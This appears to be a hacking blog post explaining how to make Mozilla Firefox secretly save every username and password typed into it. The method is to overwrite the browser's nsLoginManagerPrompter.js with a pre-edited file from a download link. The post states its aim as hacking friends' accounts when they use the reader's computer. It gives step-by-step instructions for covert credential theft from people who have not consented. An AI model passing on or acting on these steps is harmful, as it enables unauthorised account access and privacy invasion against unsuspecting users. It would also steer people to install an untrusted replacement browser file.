Turn Your Firefox Into A Keylogger Without Any Software !

Here we go to learn that how to turn a Mozilla Firefox into an undetectable (FUD) keylogger. This keylogger will be used to store all the usernames and passwords that will be entered by the user. So that you can hack your friends accounts, whenever they were over your house. and the most interesting things is, this full process will be done without using any kind of software !

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So let's follow some few easy steps to turn our firefox into a password stealer:  
Steps:

1) Close Firefox

2) Navigate to:

Windows - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components.



3) Find The Script Named  " nsLoginManagerPrompter.js"

4) Now you just need to download the following file unzip it and simply overwrite the existing nsLoginManagerPrompter.js with it, it is one I have already edited and works.

                                                                    Download

From now on, when someone logs onto any site using your Firefox, their username and password will save automatically, without prompt!

To retrieve the account information, make sure Firefox is opened, go to Tools > Options... > Security Tab > click on saved passwords, then click on show passwords, and press yes!






Note: For Firefox 4 or latter version and mac Os solution please see at this link.

Let me know if this post was useful for you. And Feel free to leave a comment !